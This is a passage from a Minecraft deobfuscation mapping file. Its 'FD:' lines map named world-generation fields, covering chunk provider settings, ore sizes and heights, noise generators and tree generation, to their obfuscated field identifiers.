net/minecraft/world/gen/ChunkProviderSettings$Factory/dioriteMinHeight net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177891_X +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/dioriteMaxHeight net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177890_Y +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/andesiteSize net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177892_Z +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/JSON_ADAPTER net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177901_a +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/lapisSpread net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177889_aA +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/andesiteCount net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177936_aa +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/andesiteMinHeight net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177937_ab +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/andesiteMaxHeight net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177934_ac +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/coalSize net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177935_ad +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/coalCount net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177941_ae +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/coalMinHeight net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177943_af +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/coalMaxHeight net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177938_ag +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/ironSize net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177939_ah +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/ironCount net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177922_ai +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/ironMinHeight net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177924_aj +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/ironMaxHeight net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177918_ak +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/goldSize net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177920_al +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/goldCount net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177930_am +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/goldMinHeight net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177932_an +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/goldMaxHeight net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177926_ao +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/redstoneSize net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177928_ap +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/redstoneCount net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177908_aq +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/redstoneMinHeight net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177906_ar +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/redstoneMaxHeight net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177904_as +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/diamondSize net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177902_at +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/diamondCount net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177916_au +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/diamondMinHeight net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177914_av +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/diamondMaxHeight net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177912_aw +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/lapisSize net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177910_ax +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/lapisCount net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177897_ay +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/lapisCenterHeight net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177895_az +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/coordinateScale net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177899_b +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/heightScale net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177900_c +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/upperLimitScale net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177896_d +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/lowerLimitScale net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177898_e +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/depthNoiseScaleX net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177893_f +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/depthNoiseScaleZ net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177894_g +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/depthNoiseScaleExponent net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177915_h +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/mainNoiseScaleX net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177917_i +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/mainNoiseScaleY net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177911_j +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/mainNoiseScaleZ net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177913_k +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/baseSize net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177907_l +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/stretchY net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177909_m +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/biomeDepthWeight net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177903_n +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/biomeDepthOffset net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177905_o +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/biomeScaleWeight net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177933_p +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/biomeScaleOffset net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177931_q +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/seaLevel net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177929_r +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/useCaves net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177927_s +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/useDungeons net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177925_t +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/dungeonChance net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177923_u +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/useStrongholds net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177921_v +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/useVillages net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177919_w +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/useMineShafts net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177944_x +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/useTemples net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177942_y +FD: net/minecraft/world/gen/ChunkProviderSettings$Factory/useMonuments net/minecraft/world/gen/ChunkProviderSettings$Factory/field_177940_z +FD: net/minecraft/world/gen/ChunkProviderSettings/useWaterLakes net/minecraft/world/gen/ChunkProviderSettings/field_177781_A +FD: net/minecraft/world/gen/ChunkProviderSettings/waterLakeChance net/minecraft/world/gen/ChunkProviderSettings/field_177782_B +FD: net/minecraft/world/gen/ChunkProviderSettings/useLavaLakes net/minecraft/world/gen/ChunkProviderSettings/field_177783_C +FD: net/minecraft/world/gen/ChunkProviderSettings/lavaLakeChance net/minecraft/world/gen/ChunkProviderSettings/field_177777_D +FD: net/minecraft/world/gen/ChunkProviderSettings/useLavaOceans net/minecraft/world/gen/ChunkProviderSettings/field_177778_E +FD: net/minecraft/world/gen/ChunkProviderSettings/fixedBiome net/minecraft/world/gen/ChunkProviderSettings/field_177779_F +FD: net/minecraft/world/gen/ChunkProviderSettings/biomeSize net/minecraft/world/gen/ChunkProviderSettings/field_177780_G +FD: net/minecraft/world/gen/ChunkProviderSettings/riverSize net/minecraft/world/gen/ChunkProviderSettings/field_177788_H +FD: net/minecraft/world/gen/ChunkProviderSettings/dirtSize net/minecraft/world/gen/ChunkProviderSettings/field_177789_I +FD: net/minecraft/world/gen/ChunkProviderSettings/dirtCount net/minecraft/world/gen/ChunkProviderSettings/field_177790_J +FD: net/minecraft/world/gen/ChunkProviderSettings/dirtMinHeight net/minecraft/world/gen/ChunkProviderSettings/field_177791_K +FD: net/minecraft/world/gen/ChunkProviderSettings/dirtMaxHeight net/minecraft/world/gen/ChunkProviderSettings/field_177784_L +FD: net/minecraft/world/gen/ChunkProviderSettings/gravelSize net/minecraft/world/gen/ChunkProviderSettings/field_177785_M +FD: net/minecraft/world/gen/ChunkProviderSettings/gravelCount net/minecraft/world/gen/ChunkProviderSettings/field_177786_N +FD: net/minecraft/world/gen/ChunkProviderSettings/gravelMinHeight net/minecraft/world/gen/ChunkProviderSettings/field_177787_O +FD: net/minecraft/world/gen/ChunkProviderSettings/gravelMaxHeight net/minecraft/world/gen/ChunkProviderSettings/field_177797_P +FD: net/minecraft/world/gen/ChunkProviderSettings/graniteSize net/minecraft/world/gen/ChunkProviderSettings/field_177796_Q +FD: net/minecraft/world/gen/ChunkProviderSettings/graniteCount net/minecraft/world/gen/ChunkProviderSettings/field_177799_R +FD: net/minecraft/world/gen/ChunkProviderSettings/graniteMinHeight net/minecraft/world/gen/ChunkProviderSettings/field_177798_S +FD: net/minecraft/world/gen/ChunkProviderSettings/graniteMaxHeight net/minecraft/world/gen/ChunkProviderSettings/field_177793_T +FD: net/minecraft/world/gen/ChunkProviderSettings/dioriteSize net/minecraft/world/gen/ChunkProviderSettings/field_177792_U +FD: net/minecraft/world/gen/ChunkProviderSettings/dioriteCount net/minecraft/world/gen/ChunkProviderSettings/field_177795_V +FD: net/minecraft/world/gen/ChunkProviderSettings/dioriteMinHeight net/minecraft/world/gen/ChunkProviderSettings/field_177794_W +FD: net/minecraft/world/gen/ChunkProviderSettings/dioriteMaxHeight net/minecraft/world/gen/ChunkProviderSettings/field_177801_X +FD: net/minecraft/world/gen/ChunkProviderSettings/andesiteSize net/minecraft/world/gen/ChunkProviderSettings/field_177800_Y +FD: net/minecraft/world/gen/ChunkProviderSettings/andesiteCount net/minecraft/world/gen/ChunkProviderSettings/field_177802_Z +FD: net/minecraft/world/gen/ChunkProviderSettings/coordinateScale net/minecraft/world/gen/ChunkProviderSettings/field_177811_a +FD: net/minecraft/world/gen/ChunkProviderSettings/andesiteMinHeight net/minecraft/world/gen/ChunkProviderSettings/field_177846_aa +FD: net/minecraft/world/gen/ChunkProviderSettings/andesiteMaxHeight net/minecraft/world/gen/ChunkProviderSettings/field_177847_ab +FD: net/minecraft/world/gen/ChunkProviderSettings/coalSize net/minecraft/world/gen/ChunkProviderSettings/field_177844_ac +FD: net/minecraft/world/gen/ChunkProviderSettings/coalCount net/minecraft/world/gen/ChunkProviderSettings/field_177845_ad +FD: net/minecraft/world/gen/ChunkProviderSettings/coalMinHeight net/minecraft/world/gen/ChunkProviderSettings/field_177851_ae +FD: net/minecraft/world/gen/ChunkProviderSettings/coalMaxHeight net/minecraft/world/gen/ChunkProviderSettings/field_177853_af +FD: net/minecraft/world/gen/ChunkProviderSettings/ironSize net/minecraft/world/gen/ChunkProviderSettings/field_177848_ag +FD: net/minecraft/world/gen/ChunkProviderSettings/ironCount net/minecraft/world/gen/ChunkProviderSettings/field_177849_ah +FD: net/minecraft/world/gen/ChunkProviderSettings/ironMinHeight net/minecraft/world/gen/ChunkProviderSettings/field_177832_ai +FD: net/minecraft/world/gen/ChunkProviderSettings/ironMaxHeight net/minecraft/world/gen/ChunkProviderSettings/field_177834_aj +FD: net/minecraft/world/gen/ChunkProviderSettings/goldSize net/minecraft/world/gen/ChunkProviderSettings/field_177828_ak +FD: net/minecraft/world/gen/ChunkProviderSettings/goldCount net/minecraft/world/gen/ChunkProviderSettings/field_177830_al +FD: net/minecraft/world/gen/ChunkProviderSettings/goldMinHeight net/minecraft/world/gen/ChunkProviderSettings/field_177840_am +FD: net/minecraft/world/gen/ChunkProviderSettings/goldMaxHeight net/minecraft/world/gen/ChunkProviderSettings/field_177842_an +FD: net/minecraft/world/gen/ChunkProviderSettings/redstoneSize net/minecraft/world/gen/ChunkProviderSettings/field_177836_ao +FD: net/minecraft/world/gen/ChunkProviderSettings/redstoneCount net/minecraft/world/gen/ChunkProviderSettings/field_177838_ap +FD: net/minecraft/world/gen/ChunkProviderSettings/redstoneMinHeight net/minecraft/world/gen/ChunkProviderSettings/field_177818_aq +FD: net/minecraft/world/gen/ChunkProviderSettings/redstoneMaxHeight net/minecraft/world/gen/ChunkProviderSettings/field_177816_ar +FD: net/minecraft/world/gen/ChunkProviderSettings/diamondSize net/minecraft/world/gen/ChunkProviderSettings/field_177814_as +FD: net/minecraft/world/gen/ChunkProviderSettings/diamondCount net/minecraft/world/gen/ChunkProviderSettings/field_177812_at +FD: net/minecraft/world/gen/ChunkProviderSettings/diamondMinHeight net/minecraft/world/gen/ChunkProviderSettings/field_177826_au +FD: net/minecraft/world/gen/ChunkProviderSettings/diamondMaxHeight net/minecraft/world/gen/ChunkProviderSettings/field_177824_av +FD: net/minecraft/world/gen/ChunkProviderSettings/lapisSize net/minecraft/world/gen/ChunkProviderSettings/field_177822_aw +FD: net/minecraft/world/gen/ChunkProviderSettings/lapisCount net/minecraft/world/gen/ChunkProviderSettings/field_177820_ax +FD: net/minecraft/world/gen/ChunkProviderSettings/lapisCenterHeight net/minecraft/world/gen/ChunkProviderSettings/field_177807_ay +FD: net/minecraft/world/gen/ChunkProviderSettings/lapisSpread net/minecraft/world/gen/ChunkProviderSettings/field_177805_az +FD: net/minecraft/world/gen/ChunkProviderSettings/heightScale net/minecraft/world/gen/ChunkProviderSettings/field_177809_b +FD: net/minecraft/world/gen/ChunkProviderSettings/upperLimitScale net/minecraft/world/gen/ChunkProviderSettings/field_177810_c +FD: net/minecraft/world/gen/ChunkProviderSettings/lowerLimitScale net/minecraft/world/gen/ChunkProviderSettings/field_177806_d +FD: net/minecraft/world/gen/ChunkProviderSettings/depthNoiseScaleX net/minecraft/world/gen/ChunkProviderSettings/field_177808_e +FD: net/minecraft/world/gen/ChunkProviderSettings/depthNoiseScaleZ net/minecraft/world/gen/ChunkProviderSettings/field_177803_f +FD: net/minecraft/world/gen/ChunkProviderSettings/depthNoiseScaleExponent net/minecraft/world/gen/ChunkProviderSettings/field_177804_g +FD: net/minecraft/world/gen/ChunkProviderSettings/mainNoiseScaleX net/minecraft/world/gen/ChunkProviderSettings/field_177825_h +FD: net/minecraft/world/gen/ChunkProviderSettings/mainNoiseScaleY net/minecraft/world/gen/ChunkProviderSettings/field_177827_i +FD: net/minecraft/world/gen/ChunkProviderSettings/mainNoiseScaleZ net/minecraft/world/gen/ChunkProviderSettings/field_177821_j +FD: net/minecraft/world/gen/ChunkProviderSettings/baseSize net/minecraft/world/gen/ChunkProviderSettings/field_177823_k +FD: net/minecraft/world/gen/ChunkProviderSettings/stretchY net/minecraft/world/gen/ChunkProviderSettings/field_177817_l +FD: net/minecraft/world/gen/ChunkProviderSettings/biomeDepthWeight net/minecraft/world/gen/ChunkProviderSettings/field_177819_m +FD: net/minecraft/world/gen/ChunkProviderSettings/biomeDepthOffSet net/minecraft/world/gen/ChunkProviderSettings/field_177813_n +FD: net/minecraft/world/gen/ChunkProviderSettings/biomeScaleWeight net/minecraft/world/gen/ChunkProviderSettings/field_177815_o +FD: net/minecraft/world/gen/ChunkProviderSettings/biomeScaleOffset net/minecraft/world/gen/ChunkProviderSettings/field_177843_p +FD: net/minecraft/world/gen/ChunkProviderSettings/seaLevel net/minecraft/world/gen/ChunkProviderSettings/field_177841_q +FD: net/minecraft/world/gen/ChunkProviderSettings/useCaves net/minecraft/world/gen/ChunkProviderSettings/field_177839_r +FD: net/minecraft/world/gen/ChunkProviderSettings/useDungeons net/minecraft/world/gen/ChunkProviderSettings/field_177837_s +FD: net/minecraft/world/gen/ChunkProviderSettings/dungeonChance net/minecraft/world/gen/ChunkProviderSettings/field_177835_t +FD: net/minecraft/world/gen/ChunkProviderSettings/useStrongholds net/minecraft/world/gen/ChunkProviderSettings/field_177833_u +FD: net/minecraft/world/gen/ChunkProviderSettings/useVillages net/minecraft/world/gen/ChunkProviderSettings/field_177831_v +FD: net/minecraft/world/gen/ChunkProviderSettings/useMineShafts net/minecraft/world/gen/ChunkProviderSettings/field_177829_w +FD: net/minecraft/world/gen/ChunkProviderSettings/useTemples net/minecraft/world/gen/ChunkProviderSettings/field_177854_x +FD: net/minecraft/world/gen/ChunkProviderSettings/useMonuments net/minecraft/world/gen/ChunkProviderSettings/field_177852_y +FD: net/minecraft/world/gen/ChunkProviderSettings/useRavines net/minecraft/world/gen/ChunkProviderSettings/field_177850_z +FD: net/minecraft/world/gen/ChunkProviderDebug/field_177464_a net/minecraft/world/gen/ChunkProviderDebug/field_177464_a +FD: net/minecraft/world/gen/ChunkProviderDebug/field_177462_b net/minecraft/world/gen/ChunkProviderDebug/field_177462_b +FD: net/minecraft/world/gen/ChunkProviderDebug/field_181039_c net/minecraft/world/gen/ChunkProviderDebug/field_181039_c +FD: net/minecraft/world/gen/ChunkProviderDebug/world net/minecraft/world/gen/ChunkProviderDebug/field_177463_c +FD: net/minecraft/world/gen/ChunkProviderFlat/worldObj net/minecraft/world/gen/ChunkProviderFlat/field_73163_a +FD: net/minecraft/world/gen/ChunkProviderFlat/random net/minecraft/world/gen/ChunkProviderFlat/field_73161_b +FD: net/minecraft/world/gen/ChunkProviderFlat/cachedBlockIDs net/minecraft/world/gen/ChunkProviderFlat/field_82700_c +FD: net/minecraft/world/gen/ChunkProviderFlat/flatWorldGenInfo net/minecraft/world/gen/ChunkProviderFlat/field_82699_e +FD: net/minecraft/world/gen/ChunkProviderFlat/structureGenerators net/minecraft/world/gen/ChunkProviderFlat/field_82696_f +FD: net/minecraft/world/gen/ChunkProviderFlat/hasDecoration net/minecraft/world/gen/ChunkProviderFlat/field_82697_g +FD: net/minecraft/world/gen/ChunkProviderFlat/hasDungeons net/minecraft/world/gen/ChunkProviderFlat/field_82702_h +FD: net/minecraft/world/gen/ChunkProviderFlat/waterLakeGenerator net/minecraft/world/gen/ChunkProviderFlat/field_82703_i +FD: net/minecraft/world/gen/ChunkProviderFlat/lavaLakeGenerator net/minecraft/world/gen/ChunkProviderFlat/field_82701_j +FD: net/minecraft/world/gen/ChunkProviderHell/field_177465_A net/minecraft/world/gen/ChunkProviderHell/field_177465_A +FD: net/minecraft/world/gen/ChunkProviderHell/genNetherBridge net/minecraft/world/gen/ChunkProviderHell/field_73172_c +FD: net/minecraft/world/gen/ChunkProviderHell/netherCaveGenerator net/minecraft/world/gen/ChunkProviderHell/field_73182_t +FD: net/minecraft/world/gen/ChunkProviderHell/netherNoiseGen6 net/minecraft/world/gen/ChunkProviderHell/field_73173_a +FD: net/minecraft/world/gen/ChunkProviderHell/netherNoiseGen7 net/minecraft/world/gen/ChunkProviderHell/field_73171_b +FD: net/minecraft/world/gen/ChunkProviderHell/noiseData1 net/minecraft/world/gen/ChunkProviderHell/field_73169_d +FD: net/minecraft/world/gen/ChunkProviderHell/noiseData2 net/minecraft/world/gen/ChunkProviderHell/field_73170_e +FD: net/minecraft/world/gen/ChunkProviderHell/noiseData3 net/minecraft/world/gen/ChunkProviderHell/field_73167_f +FD: net/minecraft/world/gen/ChunkProviderHell/noiseData4 net/minecraft/world/gen/ChunkProviderHell/field_73168_g +FD: net/minecraft/world/gen/ChunkProviderHell/noiseData5 net/minecraft/world/gen/ChunkProviderHell/field_73180_h +FD: net/minecraft/world/gen/ChunkProviderHell/worldObj net/minecraft/world/gen/ChunkProviderHell/field_73175_o +FD: net/minecraft/world/gen/ChunkProviderHell/field_177466_i net/minecraft/world/gen/ChunkProviderHell/field_177466_i +FD: net/minecraft/world/gen/ChunkProviderHell/hellRNG net/minecraft/world/gen/ChunkProviderHell/field_73181_i +FD: net/minecraft/world/gen/ChunkProviderHell/slowsandNoise net/minecraft/world/gen/ChunkProviderHell/field_73185_q +FD: net/minecraft/world/gen/ChunkProviderHell/gravelNoise net/minecraft/world/gen/ChunkProviderHell/field_73184_r +FD: net/minecraft/world/gen/ChunkProviderHell/netherrackExclusivityNoise net/minecraft/world/gen/ChunkProviderHell/field_73183_s +FD: net/minecraft/world/gen/ChunkProviderHell/noiseField net/minecraft/world/gen/ChunkProviderHell/field_73186_p +FD: net/minecraft/world/gen/ChunkProviderHell/netherNoiseGen1 net/minecraft/world/gen/ChunkProviderHell/field_73178_j +FD: net/minecraft/world/gen/ChunkProviderHell/netherNoiseGen2 net/minecraft/world/gen/ChunkProviderHell/field_73179_k +FD: net/minecraft/world/gen/ChunkProviderHell/netherNoiseGen3 net/minecraft/world/gen/ChunkProviderHell/field_73176_l +FD: net/minecraft/world/gen/ChunkProviderHell/slowsandGravelNoiseGen net/minecraft/world/gen/ChunkProviderHell/field_73177_m +FD: net/minecraft/world/gen/ChunkProviderHell/netherrackExculsivityNoiseGen net/minecraft/world/gen/ChunkProviderHell/field_73174_n +FD: net/minecraft/world/gen/ChunkProviderHell/field_177470_t net/minecraft/world/gen/ChunkProviderHell/field_177470_t +FD: net/minecraft/world/gen/ChunkProviderHell/field_177469_u net/minecraft/world/gen/ChunkProviderHell/field_177469_u +FD: net/minecraft/world/gen/ChunkProviderHell/field_177468_v net/minecraft/world/gen/ChunkProviderHell/field_177468_v +FD: net/minecraft/world/gen/ChunkProviderHell/field_177467_w net/minecraft/world/gen/ChunkProviderHell/field_177467_w +FD: net/minecraft/world/gen/ChunkProviderHell/field_177473_x net/minecraft/world/gen/ChunkProviderHell/field_177473_x +FD: net/minecraft/world/gen/ChunkProviderHell/field_177472_y net/minecraft/world/gen/ChunkProviderHell/field_177472_y +FD: net/minecraft/world/gen/ChunkProviderHell/field_177471_z net/minecraft/world/gen/ChunkProviderHell/field_177471_z +FD: net/minecraft/world/gen/MapGenBase/range net/minecraft/world/gen/MapGenBase/field_75040_a +FD: net/minecraft/world/gen/MapGenBase/rand net/minecraft/world/gen/MapGenBase/field_75038_b +FD: net/minecraft/world/gen/MapGenBase/worldObj net/minecraft/world/gen/MapGenBase/field_75039_c +FD: net/minecraft/world/gen/ChunkProviderGenerate/oceanMonumentGenerator net/minecraft/world/gen/ChunkProviderGenerate/field_177474_A +FD: net/minecraft/world/gen/ChunkProviderGenerate/biomesForGeneration net/minecraft/world/gen/ChunkProviderGenerate/field_73231_z +FD: net/minecraft/world/gen/ChunkProviderGenerate/noiseGen5 net/minecraft/world/gen/ChunkProviderGenerate/field_73214_a +FD: net/minecraft/world/gen/ChunkProviderGenerate/noiseGen6 net/minecraft/world/gen/ChunkProviderGenerate/field_73212_b +FD: net/minecraft/world/gen/ChunkProviderGenerate/mobSpawnerNoise net/minecraft/world/gen/ChunkProviderGenerate/field_73213_c +FD: net/minecraft/world/gen/ChunkProviderGenerate/mainNoiseArray net/minecraft/world/gen/ChunkProviderGenerate/field_147427_d +FD: net/minecraft/world/gen/ChunkProviderGenerate/lowerLimitNoiseArray net/minecraft/world/gen/ChunkProviderGenerate/field_147428_e +FD: net/minecraft/world/gen/ChunkProviderGenerate/upperLimitNoiseArray net/minecraft/world/gen/ChunkProviderGenerate/field_147425_f +FD: net/minecraft/world/gen/ChunkProviderGenerate/depthNoiseArray net/minecraft/world/gen/ChunkProviderGenerate/field_147426_g +FD: net/minecraft/world/gen/ChunkProviderGenerate/rand net/minecraft/world/gen/ChunkProviderGenerate/field_73220_k +FD: net/minecraft/world/gen/ChunkProviderGenerate/field_147431_j net/minecraft/world/gen/ChunkProviderGenerate/field_147431_j +FD: net/minecraft/world/gen/ChunkProviderGenerate/field_147432_k net/minecraft/world/gen/ChunkProviderGenerate/field_147432_k +FD: net/minecraft/world/gen/ChunkProviderGenerate/field_147429_l net/minecraft/world/gen/ChunkProviderGenerate/field_147429_l +FD: net/minecraft/world/gen/ChunkProviderGenerate/field_147430_m net/minecraft/world/gen/ChunkProviderGenerate/field_147430_m +FD: net/minecraft/world/gen/ChunkProviderGenerate/worldObj net/minecraft/world/gen/ChunkProviderGenerate/field_73230_p +FD: net/minecraft/world/gen/ChunkProviderGenerate/mapFeaturesEnabled net/minecraft/world/gen/ChunkProviderGenerate/field_73229_q +FD: net/minecraft/world/gen/ChunkProviderGenerate/field_177475_o net/minecraft/world/gen/ChunkProviderGenerate/field_177475_o +FD: net/minecraft/world/gen/ChunkProviderGenerate/field_147434_q net/minecraft/world/gen/ChunkProviderGenerate/field_147434_q +FD: net/minecraft/world/gen/ChunkProviderGenerate/parabolicField net/minecraft/world/gen/ChunkProviderGenerate/field_147433_r +FD: net/minecraft/world/gen/ChunkProviderGenerate/settings net/minecraft/world/gen/ChunkProviderGenerate/field_177477_r +FD: net/minecraft/world/gen/ChunkProviderGenerate/oceanBlockTmpl net/minecraft/world/gen/ChunkProviderGenerate/field_177476_s +FD: net/minecraft/world/gen/ChunkProviderGenerate/stoneNoise net/minecraft/world/gen/ChunkProviderGenerate/field_73227_s +FD: net/minecraft/world/gen/ChunkProviderGenerate/caveGenerator net/minecraft/world/gen/ChunkProviderGenerate/field_73226_t +FD: net/minecraft/world/gen/ChunkProviderGenerate/strongholdGenerator net/minecraft/world/gen/ChunkProviderGenerate/field_73225_u +FD: net/minecraft/world/gen/ChunkProviderGenerate/villageGenerator net/minecraft/world/gen/ChunkProviderGenerate/field_73224_v +FD: net/minecraft/world/gen/ChunkProviderGenerate/mineshaftGenerator net/minecraft/world/gen/ChunkProviderGenerate/field_73223_w +FD: net/minecraft/world/gen/ChunkProviderGenerate/scatteredFeatureGenerator net/minecraft/world/gen/ChunkProviderGenerate/field_73233_x +FD: net/minecraft/world/gen/ChunkProviderGenerate/ravineGenerator net/minecraft/world/gen/ChunkProviderGenerate/field_73232_y +FD: net/minecraft/world/gen/ChunkProviderEnd/noiseGen4 net/minecraft/world/gen/ChunkProviderEnd/field_73196_a +FD: net/minecraft/world/gen/ChunkProviderEnd/noiseGen5 net/minecraft/world/gen/ChunkProviderEnd/field_73194_b +FD: net/minecraft/world/gen/ChunkProviderEnd/noiseData1 net/minecraft/world/gen/ChunkProviderEnd/field_73195_c +FD: net/minecraft/world/gen/ChunkProviderEnd/noiseData2 net/minecraft/world/gen/ChunkProviderEnd/field_73192_d +FD: net/minecraft/world/gen/ChunkProviderEnd/noiseData3 net/minecraft/world/gen/ChunkProviderEnd/field_73193_e +FD: net/minecraft/world/gen/ChunkProviderEnd/noiseData4 net/minecraft/world/gen/ChunkProviderEnd/field_73190_f +FD: net/minecraft/world/gen/ChunkProviderEnd/noiseData5 net/minecraft/world/gen/ChunkProviderEnd/field_73191_g +FD: net/minecraft/world/gen/ChunkProviderEnd/endRNG net/minecraft/world/gen/ChunkProviderEnd/field_73204_i +FD: net/minecraft/world/gen/ChunkProviderEnd/noiseGen1 net/minecraft/world/gen/ChunkProviderEnd/field_73201_j +FD: net/minecraft/world/gen/ChunkProviderEnd/noiseGen2 net/minecraft/world/gen/ChunkProviderEnd/field_73202_k +FD: net/minecraft/world/gen/ChunkProviderEnd/noiseGen3 net/minecraft/world/gen/ChunkProviderEnd/field_73199_l +FD: net/minecraft/world/gen/ChunkProviderEnd/endWorld net/minecraft/world/gen/ChunkProviderEnd/field_73200_m +FD: net/minecraft/world/gen/ChunkProviderEnd/densities net/minecraft/world/gen/ChunkProviderEnd/field_73197_n +FD: net/minecraft/world/gen/ChunkProviderEnd/biomesForGeneration net/minecraft/world/gen/ChunkProviderEnd/field_73198_o +FD: net/minecraft/world/gen/feature/WorldGenBigTree$FoliageCoordinates/field_178000_b net/minecraft/world/gen/feature/WorldGenBigTree$FoliageCoordinates/field_178000_b +FD: net/minecraft/world/gen/feature/WorldGenBigTree/heightLimit net/minecraft/world/gen/feature/WorldGenBigTree/field_76504_e +FD: net/minecraft/world/gen/feature/WorldGenBigTree/height net/minecraft/world/gen/feature/WorldGenBigTree/field_76501_f +FD: net/minecraft/world/gen/feature/WorldGenBigTree/heightAttenuation net/minecraft/world/gen/feature/WorldGenBigTree/field_76502_g +FD: net/minecraft/world/gen/feature/WorldGenBigTree/branchSlope net/minecraft/world/gen/feature/WorldGenBigTree/field_175944_d +FD: net/minecraft/world/gen/feature/WorldGenBigTree/scaleWidth net/minecraft/world/gen/feature/WorldGenBigTree/field_175945_e +FD: net/minecraft/world/gen/feature/WorldGenBigTree/leafDensity net/minecraft/world/gen/feature/WorldGenBigTree/field_76513_k +FD: net/minecraft/world/gen/feature/WorldGenBigTree/trunkSize net/minecraft/world/gen/feature/WorldGenBigTree/field_175943_g +FD: net/minecraft/world/gen/feature/WorldGenBigTree/heightLimitLimit net/minecraft/world/gen/feature/WorldGenBigTree/field_175950_h +FD: net/minecraft/world/gen/feature/WorldGenBigTree/leafDistanceLimit 